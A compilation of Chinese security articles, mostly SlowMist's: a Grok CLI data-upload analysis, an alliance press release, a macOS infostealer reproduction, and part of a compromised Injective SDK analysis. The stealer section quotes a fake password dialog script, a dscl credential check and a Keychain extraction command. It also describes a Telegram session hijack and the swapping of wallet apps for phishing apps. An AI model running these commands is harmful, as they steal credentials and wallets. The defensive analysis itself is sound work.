于是出现了一个割裂：同一个 .env 文件里的 sk-test-key-1234567890abcdef，在 trace 日志里会被脱敏成 [REDACTED_SECRET]，但在 git bundle 里会原样上传。两条路径，两种待遇。一次 turn 里上传的 12 类内容中，git bundle 是唯一携带原始文件内容的那一类，恰好也是唯一不经过脱敏的那一类。
发现了 8 个独立开关
trace_upload 的 8 个独立启用来源（IDA find_regex 地址 0x1060da2b0）：
配置优先级 env > config > remote，但 in_remote_trace_upload_enabled + has_remote_settings 本身就是独立启用来源——服务端可远程强制开启。
race_upload 的启停不由单一开关控制。IDA 里有一段连续字符串，明确列出了 8 个独立启用来源。
最后一个来源 in_remote_trace_upload_enabled 配合 has_remote_settings，这似乎意味着 xAI 后端可以通过远程配置强制开启上传——即使用户在本地关掉了所有环境变量和配置文件。配置优先级是 env > config > remote，但远程设置本身就是独立的启用来源。
更要紧的是，trace_upload 和界面上那个「Improve the model」开关（coding_data_retention_opt_out）完全独立。关掉「Improve the model」不会禁用 trace_upload。二进制里有一条日志说得很直白：
respect_gitignore 默认 false
.gitignore 排除的文件为什么还是被上传了？因为 respect_gitignore 的默认值是 false。
IDA 反汇编 0.2.98 的配置解析函数，地址 0x10372EB5C：
MOV W27, #0 把默认值设为 0（false）。为了排除 IDA 分析误差，我用 Frida spawn 进程后直接读运行时内存：
读到的字节是 68 22 03 39，little-endian 解码为 0x39032268，即 ARM64 指令 STRB W8, [X19, #0xC8]——和 IDA 反汇编完全一致。二进制里的帮助文本也写明了：respect_gitignore = false # default: false。
默认 false 意味着 Grok CLI 在创建 git bundle 时不会遵守 .gitignore。这就是 .env、.envrc、config.secret 出现在上传内容里的直接原因。
（我在 0.2.93 上也做了同样的验证）
版本对比
社区白帽子 cereblab 之前在 Gist 上分析了 0.2.93，列了 10 项声明。我逐项在 0.2.98 上做了验证。
通过 IDA find_regex 搜 0.2.98、strings | grep 搜 0.2.93，以下方面两版本完全一致：8 个 trace_upload 来源、12 种脱敏正则、8 个存储端点、断路器的状态、GCS 存储桶 grok-code-session-traces、GROK_TELEMETRY_GCS_BUCKET 环境变量、无证书绑定。
（顺带一提，mitmproxy 还抓到 0.2.98 运行时会自动检查 x.ai/cli/stable 获取最新版本号，发现 0.2.101 后自动分 7 片下载新版本二进制。自动更新本身不意外，但它意味着即使你今天分析透了手里这个版本，明天它可能就换了，自动更新可能会引入新版本的功能，但是也会有新的风险。）
缓解措施
由于 in_remote_trace_upload_enabled 的存在，服务端可远程下发配置覆盖本地设置，单一防护层不足以完全禁用上传。建议至少三层并用：
环境变量层：GROK_TELEMETRY_ENABLED=0 + GROK_TELEMETRY_TRACE_UPLOAD=0 + GROK_RESPECT_GITIGNORE=1
配置文件层：~/.grok/config.toml 中 disable_codebase_upload=true + telemetry=false
网络层：防火墙阻断 cli-chat-proxy.grok.com 与 storage.googleapis.com 出站
另外：敏感文件移出项目目录；chmod 600 ~/.grok/auth.json。
如果要继续用 Grok CLI 同时减少数据上传，建议三层并用——因为远程设置可覆盖本地配置，单一防护层不够。具体配置见左侧 note。
写在最后
这次分析让我比较在意的，这不是简单的漏洞，而是「一致性缝隙」——脱敏系统存在但不覆盖 git bundle、8 个开关里有一个是远程可控、「Improve the model」关了但 trace_upload 照传。每一处单独看都有解释（脱敏是给 trace 用的、远程设置是为了运营、「Improve the model」管的是另一回事），但拼在一起，用户的 .env等敏感数据就这么被上传到了云端。
CLI 编码工具的隐私边界，本质上是信任边界。你把整个仓库交给一个会在 turn 开始时就打包上传的二进制，等于把信任交给了它的每一个开关、每一条上传路径、每一次远程配置下发。而信任该持续验证，不该一次性授予。大家也多注意安全。
本文基于 IDA Pro 9.3 反编译、Frida 动态插桩、mitmproxy 12.2.3 流量捕获的交叉验证。分析的二进制版本为 grok-0.2.98 和 grok-0.2.93（macOS aarch64）。
参考资源
cereblab 的 0.2.93 分析：https://gist.github.com/cereblab/dc9a40bc26120f4540e4e09b75ffb547

近日，在香港数码港举办的首届 Web4.0 与智能体创新峰会暨数码港 OPC Hub 启动仪式上，数码港正式宣布成立 Web4.0 与智能体安全联盟。慢雾(SlowMist) 作为联盟创始成员之一，将携手联盟伙伴共同推动 Web4.0 与智能体安全标准及最佳实践建设，为可信 Web4.0 生态发展贡献专业力量。
Web4.0 与智能体安全联盟
随着 Agentic AI 与区块链技术不断融合，智能体正逐步具备自主执行任务、调用工具及链上交互等能力，在提升生产效率和应用创新的同时，也带来了提示词注入、供应链攻击、权限滥用、AI 代理信任链等新型安全风险。
为应对 Web4.0 时代智能体与区块链融合发展带来的网络安全挑战，数码港成立 Web4.0 与智能体安全联盟，并邀请包括慢雾(SlowMist) 在内的 12 家安全服务企业担任联盟创始成员。联盟将围绕促进跨行业协作、推动安全原则与最佳实践、建立行业框架及示范案例、促进生态参与四大方向开展工作，共同推动 Web4.0 与智能体技术安全、规范、可持续发展。
联盟的成立进一步汇聚产业、技术及生态资源，为 Web4.0 与智能体创新应用提供更加完善的安全支撑体系，也为产业协同推动智能体安全能力建设提供了新的合作平台。
慢雾(SlowMist) 持续深耕智能体安全，完善系统化安全能力布局
作为联盟创始成员之一，慢雾(SlowMist) 持续关注 AI 与 Web3 融合发展带来的安全挑战，围绕智能体安全、MCP 安全及 AI 供应链安全等方向持续开展研究与实践，并不断完善开源生态、安全能力、威胁情报等布局，逐步形成覆盖智能体开发、部署、运行、监测及事件响应的全生命周期安全能力体系。
围绕智能体安全基础设施建设，慢雾(SlowMist) 持续推出多项 AI 安全开源项目与实践资源，包括《OpenClaw 极简安全实践指南》、MCP Security Checklist 及 MasterMCP 等，为开发者提供从 Agent 安全部署、MCP/Skills 安全审计到恶意 MCP 攻击复现与防御验证的实践参考，帮助团队更加安全、高效地构建和部署 AI Agent。
在核心安全能力方面，慢雾(SlowMist) 推出 SlowMist Agent Security Skill，为 AI 智能体提供执行前综合安全审查能力，可自动识别 Skill/MCP 安装风险、GitHub 仓库安全隐患、恶意 URL、提示词注入及社会工程攻击等风险，并集成链上地址 AML 风险评估能力。与此同时，MistTrack Skill 为 AI Agent 提供专业的链上地址风险分析与 AML 合规能力；MistEye Security Gate 则作为执行前安全网关，可对依赖安装、域名访问等关键入口进行实时威胁检测与风险拦截，进一步强化智能体供应链安全防护能力。
在持续完善工具能力的基础上，慢雾(SlowMist) 进一步提出以 ADSS（AI Development Security Solution）为治理基线的五层数字堡垒安全架构，构建覆盖执行前预检、执行中约束、执行后审计的闭环安全治理体系，为 AI Agent 全生命周期提供系统化安全保障。
未来，慢雾(SlowMist) 将继续与联盟成员深化合作，持续输出智能体安全领域的技术能力与实践经验，共同推动 Web4.0 与智能体安全标准建设、产业协同及生态发展，为构建可信、安全、开放的 Web4.0 生态提供坚实的安全支撑。

背景
近日，MistEye 安全监控系统捕获了一款运行在 macOS 上的窃密木马。慢雾安全团队随即展开了分析。
从窃取列表看，该样本像是在进行一次没有重点的数据搜刮：macOS Keychain、Safari Cookie、Apple Notes、Telegram Desktop 本地数据，以及十余种数字钱包的数据库，均被列入目标范围。
在前文《Google Sites 社群申请钓鱼与 macOS 窃密木马分析》 中，我们回答了"木马偷了什么"。但文件被复制并不等于账号已经失守，钱包数据库被带走也不意味着助记词已经泄露。因此，本文进一步追问：
这些文件被偷走以后，真的能转化成账号和资产控制权吗？
我们在隔离环境中沿着样本留下的路径进行复现。先把样本复制出的 Telegram Desktop 会话文件恢复到一台版本兼容的 Mac 上，再启动客户端。
登录界面没有出现。
没有要求输入手机号，没有发送验证码，也没有要求输入 Telegram 二次验证密码。客户端直接恢复了原来的账号状态，并开始同步聊天记录。
这一步让攻击链第一次从"静态文件"变成了可以观察到的结果：攻击者搬走的不是一份普通配置，而是一张已经通过认证的本地通行证。
随后，我们又验证了另一条路径：钱包数据库和候选密码可以在离线环境中汇合；样本同时还会删除用户原本安装的钱包客户端，换上一个套着正版名称和图标的远程网页外壳。
这些看似分散的功能，最终串成了一条完整的接管链：
1.先收集密码、解锁材料和已有登录态；
2.搬走 Telegram Desktop 已经授权的本地会话；
3.复制钱包数据库和浏览器钱包扩展状态；
4.在攻击者自己的环境中尝试离线解密；
5.同时删除正版钱包，换成远程 WebView 应用，诱导用户主动提交助记词。
本文基于主样本静态分析报告、三个钱包替换包的静态分析报告、分析员根据反汇编还原的等价逻辑，以及用于离线取证验证的 LevelDB 辅助材料。
第1步：收集密码与解锁材料
Telegram 会话能够被直接恢复，并不是因为攻击者破解了 Telegram 的密码。钱包数据库能够被尝试解密，也不是因为钱包软件没有加密。
攻击者首先要做的，是尽可能多地收集密码、解锁材料和仍然有效的登录态。Keychain、浏览器数据库、Apple Notes 和伪装密码弹窗，都是这一步的组成部分。
钓鱼密码弹窗：
样本会弹出一个伪装成 Google API connector 更新的密码对话框：
set passwen to display dialog "GAPI_Update requires administrator access to update Google API connector. Enter your password to allow this." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer
text returned of passwen
它并不是把输入框里的内容原样收集后就结束。样本随后使用 macOS 的 dscl 命令校验这个密码是否真的能通过本机认证：
dscl . authonly '<当前用户名>' '<候选密码>'
也就是说，样本试图确认用户输入的是本机登录口令，而不是一个随手输入的字符串。校验通过后，这个密码可以继续用于后续的权限提升、应用删除等操作。
收集浏览器与 Keychain 凭据：
与此同时，样本尝试从 Keychain 中读取 Chrome Safe Storage 密钥：
security find-generic-password -ga "Chrome"2>&1 >/dev/null | sed -n 's/^password: "(.*)"/\1/p'
结果写入暂存文件 masterpass-chrome。Chrome Safe Storage 可以理解为浏览器保存在 macOS Keychain 中的一把解密钥匙。有了它，攻击者就能把 Chrome 的加密登录数据和 Cookie 一并带走，在自己的环境中进一步分析。
样本的浏览器收集范围覆盖 Chrome、Brave、Edge、Vivaldi、Opera 等 Chromium 内核浏览器，目标文件包括 Login Data、Cookies、Web Data、formhistory.sqlite 等；对 Firefox 等浏览器，则会关注 logins.json、key4.db 和 Cookie 数据。
样本还会定位并收集：
Keychains/login.keychain-db
Group Containers/group.com.apple.notes/NoteStore.sqlite
Notes 中是否实际保存了密码、钱包助记词、Telegram Passcode 或恢复码，取决于用户自己的记录。但代码层面已经存在读取账户和正文内容的能力。
因此，攻击者在这一阶段得到的并不是一个单独的密码，而是一批可以互相补充的材料：
直接密码输入：伪装对话框中获取的 macOS 登录密码；解锁材料：Keychain、Chrome Safe Storage 和浏览器加密数据库；凭据等价物：Cookie、Notes 内容，以及后续会话和钱包数据。
这些材料单独看未必足以接管账号或钱包，但它们为后面的"会话搬家"和"离线解密"准备了钥匙。
第 2 步：搬走 Telegram 会话
定位 tdata 会话目录：
样本针对的不是 Telegram 网页版或移动端，而是 Telegram Desktop 桌面客户端。它会定位：
~/Library/Application Support/Telegram Desktop/tdata/
这里的 tdata，可以简单理解为 Telegram Desktop 为了保持登录状态而保存在本机的一组会话数据。
样本会复制其中与密钥、配置和会话状态有关的文件，包括：
key_datas：与本地 tdata 密钥或配置有关；s：与本地会话状态有关；/maps：会话数据映射的一部分。
根据还原的等价逻辑，样本先复制 key_datas，再遍历目录，寻找成对的会话文件，并把相关数据写入暂存目录：
这不是"搜索几个 Telegram 文件名"，而是一条明确的会话文件复制链。复制完成后，主流程会把暂存目录压缩并上传。
恢复会话，绕过登录：
为了验证这些文件被外传后的实际风险，我们在隔离环境中准备了版本兼容的 Telegram Desktop（macOS 12.7 / Telegram Desktop 4.16），并将样本窃取的关键文件恢复到对应位置。
测试使用未绑定真实资产的测试账号，账号开启了 Telegram 2FA（双因素认证），但没有开启 Telegram Desktop Passcode。
恢复文件并启动客户端后，登录流程没有出现：
不需要输入手机号；不需要短信验证码；不需要 Telegram 二次验证密码。
客户端直接恢复了原有账号的登录状态，随后开始同步聊天记录。
这意味着攻击者需要的不是一次新的账号授权，而是一份仍然有效的本地会话。
它偷走的不是登录密码，而是一张已经通过检查的"通行证"。
复用会话 vs 破解 2FA：
这里需要区分"绕过 2FA"和"复用既有会话"。
Telegram 的二次验证主要保护新的账号授权流程。当攻击者直接恢复已经授权的本地会话材料时，客户端不会重新执行手机号、验证码和二次验证密码的完整认证流程。
因此，更准确的说法是：攻击者复用了已经完成授权的本地会话，所以没有重新触发 2FA。这并不意味着 Telegram 的 2FA 密码被破解，而是整个复用过程根本没有进入需要验证该密码的环节。
用户未必能立即发现异常：
在本次测试条件下，复制后的会话在设备列表中没有稳定表现为一条清晰、独立的新增设备授权记录。这意味着，即使用户主动检查已登录设备，也未必能马上意识到本地会话数据已经被复制。
当原设备和复现设备长时间并发使用时，服务端可能使其中一端的会话失效并要求重新登录。但在较短、间歇性的访问测试中，会话没有立即被强制终止。
服务端的异常检测可以缩短部分被盗会话的存活时间，但不能替代对本地 tdata 数据的保护。
如果 Telegram Desktop 开启了 Passcode，恢复会话后攻击者仍可能被要求输入这个密码。这确实能增加一层保护，但这款木马同时收集 Keychain、Apple Notes 和浏览器数据。如果用户曾在这些位置记录 Telegram Passcode，或者在多个应用之间复用了密码，这道保护仍可能被突破。
tdata 可进一步转换为 API 会话：
除了上述方式，我们还发现，拿到 Telegram 的 tdata 后，可以结合 opentele、Telethon、已授权的 AuthKey 和官方客户端 API 参数，将本地登录态转换为可编程的 Telegram API 会话，用于读取对话、历史消息和发送消息。测试表明，脚本可以采用短时、间歇性连接，不必长期保持在线，从而降低立即触发异常登出的风险。由于复用的是原有授权，不会产生新的设备登录，登录设备列表中也不会出现清晰、独立的新设备记录，用户仅通过检查登录设备难以及时发现异常。
Telegram for macOS 同样存在会话复用风险：
上述分析针对的是 Telegram Desktop（基于 Qt 的跨平台桌面客户端）。但 Telegram 在 macOS 上还提供了另一个渠道的原生客户端——Telegram for macOS（通过 App Store 或官网独立下载的 Swift 原生版本）。对该版本的测试表明，其本地会话文件同样可以被复制并在另一台 Mac 上直接恢复登录状态：无需手机号、验证码或二次验证密码即可进入账号，且登录设备列表中不会出现代表复现设备的新增记录。
除此之外，Telegram for macOS 在安全机制响应方面与 Telegram Desktop 存在一个值得注意的差异：当服务端检测到异常登录行为后，Telegram for macOS 并不会像 Desktop 版本那样被强制退出登录并清除本地数据。在我们的测试中，被安全机制标记后的客户端虽然无法发送新消息或接收新消息，但仍能保持界面打开状态，攻击者可以借此继续查看和翻阅本地已有的历史聊天记录。也就是说，即使服务端已经做出反应，此前缓存的历史消息仍然可以被完整回溯，而不会被强制退出阻断。
这意味着，在这一攻击场景下，macOS 原生客户端不仅无法通过"新增登录设备"这一常规维度被用户感知，且在服务端检测到异常之后，历史聊天记录仍然暴露在外——攻击者虽然失去了实时收发消息的能力，但已缓存的历史内容仍可被完整阅读。
到这里，Telegram 部分的路径已经清楚：无论是 Telegram Desktop 还是 Telegram for macOS，攻击者都不需要重新登录账号，只需要把一份已经完成授权的本地会话，从受害者的 Mac 搬到自己的环境中。
第 3 步：窃取钱包数据
Telegram 会话可以直接复用，钱包数据库则通常还隔着一层加密。样本的做法是先尽可能多地复制钱包数据，为后续分析留下空间。
16 种钱包全量覆盖：
样本会搜索 16 种本地钱包或钱包管理客户端，涵盖软件钱包、Core 类全节点客户端，以及硬件钱包的配套管理程序：
软件钱包：Electrum、Coinomi、Exodus、Atomic、Wasabi、Monero、Electrum LTC、Electron Cash、Guarda、Sparrow；Core 类客户端：Bitcoin Core、Litecoin Core、Dash Core、Dogecoin Core；硬件钱包配套客户端：Ledger Live、Trezor Suite。
不同钱包的数据目录、数据库格式和加密方式并不相同，但样本采用的基本策略一致：定位目录，复制钱包数据库和配置文件，打包外传，在攻击者自己的环境中继续分析。
复制时，样本会跳过 Cache、Code Cache、Crashpad、journals、media、calls 等缓存和噪声目录，优先保留账户和钱包状态数据。
这带来一个容易被低估的后果：即使钱包数据处于加密状态，只要完整数据库已经外传，攻击者就可以脱离受害者设备，反复尝试解密。受害者关闭钱包、断开网络，甚至删除木马，都无法收回已经被复制的数据。
浏览器扩展收集：
桌面钱包之外，样本还会扫描 Chrome、Brave、Edge、Vivaldi、Opera 等十余种 Chromium 内核浏览器的配置目录。
它会针对每个浏览器的 Default 或 Profile 目录，收集 Cookie、登录数据、网页表单数据，以及本地扩展存储和 IndexedDB 数据。样本内置了 223 个钱包相关扩展 ID，用来筛选并复制加密钱包扩展的本地存储。
这些数据不等于明文助记词，但其中可能包含钱包 Vault、账户配置、授权状态和浏览器登录材料，可用于离线分析、状态迁移和后续定向钓鱼。
到这里，攻击者手里已经有了两类关键材料：一边是加密的钱包数据库，另一边是从系统、浏览器和 Notes 中收集到的候选密码。下一步，就是看这两类材料能不能拼在一起。
第 4 步：离线解密钱包
以 Atomic Wallet 为例：
我们选择 Atomic Wallet 做本地复现。样本会复制 Atomic Wallet 的 LevelDB 本地存储目录。LevelDB 是一种常见的本地数据库格式，钱包会把账户状态和敏感数据保存在其中。
该目录中的数据使用 AES-256-CBC 加密，解密需要钱包密码。
因此，单独拿到一份 LevelDB 文件，并不意味着攻击者已经拿到了明文助记词。钱包密码仍然是数据库和敏感数据之间的一道门。
但这道门需要放进整条攻击链中观察。
多源密码逐一尝试：
在隔离测试环境中（Atomic Wallet 2.70），我们恢复了样本复制出的 LevelDB 数据，并将木马从 Keychain、浏览器密码管理器、Apple Notes 等位置收集到的候选密码逐一用于解密。
最终，候选密码成功解出了包含资产控制材料的数据。
这一步揭示了样本最危险的地方：攻击者不一定需要寻找钱包软件本身的加密漏洞，也不需要在受害者电脑上实时尝试密码。
它只需要同时带走两样东西：一份加密的钱包数据库，以及一批可能属于用户的密码。数据库像一个被搬走的保险箱，候选密码则是一串来源复杂的备用钥匙。攻击者可以在不受时间限制的离线环境中逐一验证。
私钥外传后不可撤销：
一旦私钥、助记词或等价的资产控制材料被恢复，风险就不再局限于某款钱包客户端。攻击者可以在另一款兼容钱包中恢复同一组地址，并获得相应资产的控制权。
此时，修改应用密码、重新安装客户端，甚至删除本地钱包文件，都无法使已经外传的私钥或助记词失效。
到这里，钱包数据的离线解密路径已经清楚。但样本并没有止步于此——对于几个高价值目标，它还部署了另一条并行的攻击路径。
第 5 步：替换钱包应用
下载恶意 ZIP 替换应用：
在主样本中，我们发现了一组与普通文件窃取明显不同的操作：木马会从远程服务器下载三个 ZIP 包到 /tmp 目录，同时删除用户原本安装的 Ledger Live、Ledger Wallet 和 Trezor Suite。
主样本中的 swap_app() 函数执行完整替换流程：用 curl 下载压缩包，用 pkill 结束正在运行的钱包进程，再用 rm -rf 删除原应用，必要时通过 sudo 提权，最后使用 ditto 将压缩包解压到 /Applications。
替换包只是网页加载器：
从文件名和图标看，这些 ZIP 包似乎分别对应三款正版钱包客户端。但逆向分析显示，它们没有实现真正的钱包功能。
三个替换程序的核心执行流程高度相似：读取隐藏配置，用 XOR 解密远程路由，拼接完整 URL，创建一个启用 JavaScript 的 WKWebView，再加载攻击者控制的远程页面。
WKWebView 可以理解为嵌在桌面应用里的网页窗口。它能让远端网页覆盖应用界面，却不必以浏览器标签页的形式出现。
静态分析确认，替换包启用了 JavaScript 和持久化数据存储，但没有发现 Ledger 或 Trezor 的真实业务实现：没有 USB/HID 通信、没有硬件设备枚举、没有 BIP39/BIP32 密钥派生，也没有交易构造或本地签名。
换句话说，这些程序不是被修改过的钱包客户端，而是套着钱包名称和图标的网页加载器。
三个替换应用最终加载的远程地址为：
Ledger Live 和 Ledger Wallet 指向相同的 /ledger 路由，Trezor Suite 则加载 /trezor 路由。远程页面意味着，攻击者无需重新发布本地应用，就可以随时修改页面内容、交互文案和数据提交逻辑。
桌面图标背后的钓鱼页面：
当用户启动这些替换后的"钱包"应用时，远程页面可以伪装成钱包恢复、验证或初始化流程，引导用户输入助记词、PIN、passphrase 或其他恢复材料。
对普通用户来说，这比传统钓鱼网页更难识别。页面不是出现在浏览器标签页里，而是出现在一个安装于 /Applications 目录、拥有熟悉名称和图标的桌面应用中。
用户可能以为这是钱包升级后的验证流程，也可能以为自己正在按照官方指引恢复账户。
如果用户在这个远程页面中提交了助记词，攻击者得到的就不再是某一个应用的临时访问权限，而是钱包资产的最高控制凭据。
离线解密是在已经存在的数据中寻找助记词；替换应用，则是诱导用户亲手把助记词输入进来。两条路径并行运作，互不依赖。
攻击链全景
回看最初那份窃取列表，Keychain、Cookie、Notes、Telegram 和钱包文件似乎是彼此独立的目标。复现之后，它们之间的关系变得清晰起来：
Keychain、浏览器和 Notes 提供密码、Passcode 及其他解锁材料；Safari Cookie 可能提供仍然有效的 Web 登录会话；Telegram tdata 提供已经完成授权的账号会话；钱包数据库 提供可以被带走、复制和离线分析的加密数据；替换后的 Ledger 与 Trezor 应用 则从另一条独立路径，把用户引向远程钓鱼页面。
每一个模块单独看，都像是常见的窃密行为。真正危险的地方，在于样本可以把这些材料组合起来。
对 Telegram 来说，攻击者绕开的不是密码强度，而是重新认证本身。对本地钱包来说，攻击者利用的是加密数据和密码材料被同时窃取。对 Ledger 和 Trezor 来说，攻击者甚至不再尝试破解已有数据，而是通过替换客户端，重新定义用户眼中的"可信界面"。
攻击者真正需要的，往往不是某一个密码，而是已授权会话、加密数据和解锁材料同时落入手中。
总结
这款木马偷走的不是几个孤立的密码或文件，而是用户在一台 Mac 上逐渐建立起来的整套本地信任关系：已经登录的会话、保存过的密码、加密的钱包，以及用户对桌面应用本身的信任。
当这些东西同时离开设备，从信息泄露到账号接管，再到数字资产失窃，中间只差一次成功的数据组合。
双路径钱包攻击。 样本为钱包资产准备了两条互为备份的路径：第一条是窃取钱包数据库和候选密码，进行离线解密；第二条是替换硬件钱包客户端，加载远程页面，诱导用户主动提交助记词。两条路径并行运作，分别覆盖"被动窃取"和"主动诱导"。
会话复用，而不是密码破解。 Telegram 攻击不依赖密码破解或 2FA 绕过。攻击者直接复制已经授权的本地会话文件，在新的环境中恢复登录态，全程不触发重新认证流程。
多源凭据组合利用。 样本不依赖单一来源的密码，而是从 Keychain、浏览器密码管理器、Apple Notes 和伪装对话框等多个渠道收集候选密码，提高离线解密钱包数据库的机会。
建议
发现主机可能感染后，应在可信设备上立即终止所有现有 Telegram 会话，重新建立可信登录状态，并修改 Telegram 二次验证密码和 Passcode。仅修改 2FA 密码未必能立即使已经复制的本地会话失效。一旦钱包数据库或私钥材料可能泄露，应在干净设备或可信硬件钱包上生成全新的助记词，将资产尽快迁移至新地址，并停止使用旧助记词。仅修改钱包应用密码无法使已泄露的私钥或助记词失效。轮换 Keychain、Apple Notes 及浏览器中保存或复用过的所有密码，重点关注邮箱、交易所、云盘、密码管理器和社交账号，并注销这些服务中的既有登录会话。对于可能被删除并替换过的 Ledger 或 Trezor 客户端，应先删除可疑应用，检查代码签名和安装来源，排查相关持久化项（如 LaunchDaemon），再从官方可信渠道重新获取安装包。如果在替换后的应用中输入过助记词，应立即按助记词已泄露处理。对于不常使用的 Telegram 客户端（如仅在特定设备上安装但长期不打开的 Desktop 或 macOS 原生客户端），应定期检查其登录状态，或主动终止不再需要的会话。由于这类客户端使用频率低，即使登录态被盗取并在攻击者环境中恢复，用户也难以及时发现异常——服务端的安全检测通常依赖活跃会话的行为模式变化，对于长时间处于静默状态的客户端，异常登录更难被自动识别。一旦被盗，攻击者可能长期保持对该账号的静默控制，持续读取新消息而不触发任何告警。日常使用中，应为 Telegram 启用 Passcode，并设置一个与其他密码不同的高强度密码，避免使用弱密码，以此增强本地会话的防护。
IOC
IP
192[.]253[.]248[.]181 86[.]54[.]25[.]213
URL
http[:]//192[.]253[.]248[.]181/web/ledger.zip http[:]//192[.]253[.]248[.]181/web/ledgerwallet.zip http[:]//192[.]253[.]248[.]181/web/trezor.zip http[:]//86[.]54[.]25[.]213/ledger?username=night http[:]//86[.]54[.]25[.]213/trezor?username=night http[:]//86[.]54[.]25[.]213/log
恶意文件
filename: ledger.zip SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb
filename: ledgerwallet.zip SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059
filename: trezor.zip SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

背景
这次调查的起点，是一个看似普通的开发流程：开发者安装 Injective 官方 SDK，生成钱包、导入助记词，或将已有私钥传入 SDK 接口。程序安装阶段一切正常，钱包操作也可能正常返回结果。但与此同时，程序后台却多出了一条不在正常业务逻辑中的网络请求。
近日，安全研究公司 Socket 在对 npm 生态的威胁狩猎中，发现 @injectivelabs/sdk-ts 1.20.21 版本存在异常行为。SlowMist MistEye 安全监控系统同样捕获了这一恶意供应链攻击事件。经分析确认，该样本不是攻击者重新制作的仿冒包，而是一个带有恶意代码的正版 SDK 构建产物。相关公开背景可参考《Compromised Injective SDK npm Package》。
@injectivelabs/sdk-ts 正常用于查询链上数据、构造交易、签名以及导入或生成钱包密钥。其代码直接接触助记词和私钥，属于需要高度信任的软件组件。本地静态分析确认，恶意代码会在部分私钥派生接口被调用后，将助记词或字符串私钥推入队列，经 Base64 编码后放入 X-Request-Id 请求头，再以 HTTP POST 请求发出。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
在捕获本次 Injective 官方 SDK 遭供应链入侵事件后，MistEye 系统已触发告警并完成攻击链分析。报告覆盖了恶意代码注入点、数据编码与外传通道、目标地址、版本差异以及可提取的 IOC。相关情报可通过 MistEye API 和依赖扫描工具进一步排查。
以下按调查线索展开。
技术分析
线索一：安装阶段没有留下明显痕迹。
调查从 package.json 入手。约第 485-500 行未发现 postinstall、preinstall 等安装生命周期脚本。单纯安装该版本不会自动触发外传，因此仅检查安装日志可能发现不了异常。
但这不代表包是安全的。恶意代码被植入了 SDK 的密钥派生路径，触发条件不是安装，而是应用实际调用钱包接口。
线索二：正常的 SDK 外观掩盖了异常的参数。
样本的包名、README 和大部分构建代码保持正常外观。恶意区块位于 accounts 构建文件中，注释使用了 key-derivation-telemetry、anonymized usage metrics 和 SDK optimization 等字样，外观上像 SDK 自身的数据统计模块。
正常的遥测通常只记录方法名称或调用耗时。但这里的代码直接接收完整助记词或字符串私钥，未做任何匿名化、哈希或脱敏处理。这是第一处关键矛盾：注释声称在做统计，参数承载的却是钱包根密钥。
线索三：哪些调用触发了密钥记录。
可以把触发路径分成三种情况：
PrivateKey.generate() 先生成助记词，再继续调用 fromMnemonic()。PrivateKey.fromMnemonic(words) 把完整助记词交给 trackKeyDerivation()。字符串形式的 PrivateKey.fromHex(privateKey) 把完整私钥交给同一个记录函数。
fromPrivateKey() 本身没有调用 trackKeyDerivation()，因此不能笼统地说所有私钥接口都会触发外传。
关键代码位于 dist/esm/accounts-jQ1GSgaW.js 第 989-1006 行和第 1024-1028 行：
字符串输入会被原样放入队列；字节数组输入只记录固定文字 bytes，不包含具体字节值。
证据判断：源码可以确认密钥材料进入了额外的记录函数，但无法确认请求是否实际到达目标，也无法确认数据是否已被读取。
线索四：数据并非立即外传。
记录函数把每条数据写成 方法:内容:时间戳。fm 表示助记词，fh 表示十六进制私钥。程序先把记录放入全局队列，等待约 2 秒；如果期间发生多次密钥派生，就用 | 连接成一批。
文件：dist/esm/accounts-jQ1GSgaW.js 第 950-971 行。
随后，程序使用 Base64 编码。Base64 只是换一种字符表示方式，不是加密，接收方可以直接还原。等待和批量发送会减少请求次数，也会改变单条记录在网络中的形态，但不会改变数据的敏感性。
线索五：外传请求伪装成正常调用，但存在明显破绽。
发送函数优先使用 fetch，把数据放到 X-Request-Id 请求头，正文为空；如果 fetch 不可用且 __require 可用，才回退到 Node.js 的 https.request。
请求使用了 gRPC-Web 风格的 Content-Type，但源码中找不到合约地址、方法名、protobuf 交易体、签名数据或广播接口。它请求的是根路径 /，正文为空，密钥数据只出现在请求头中。换句话说，这不是一次正常的合约调用，而是以 HTTP 请求方式实施的数据外传。
浏览器分支的 keepalive 仅尝试在页面关闭时保持请求，不能保证完成。请求失败时，异常和异步错误被静默忽略，正常钱包操作仍会继续；服务端返回内容也没有被解析执行。
需要留意的是，如果代理、防火墙、应用监控或调试日志记录了 X-Request-Id，其中可能保存着 Base64 编码的助记词或私钥。后续调查需确认日志平台、后端存储和服务账号的访问权限情况，但代码本身未提供任何服务端访问或日志读取能力。
线索六：目标地址在官方域名下，但无法确认数据接收者。
主机名没有明文写在代码中，而是被拆成数字数组，再通过 String.fromCharCode 还原：
静态解码得到：testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network。
后续核查显示，该地址属于 Injective 官方域名体系和官方基础设施。当前报告记录其曾解析到 15[.]235[.]87[.]88；DNS 结果会随时间和查询位置变化，不能单独用来判断服务控制权。Injective 的公共端点文档列出 testnet[.]sentry[.]chain[.]grpc-web[.]injective[.]network，归档节点文档说明官方存在归档网关概念，但公开列表没有单独列出 archival 主机。
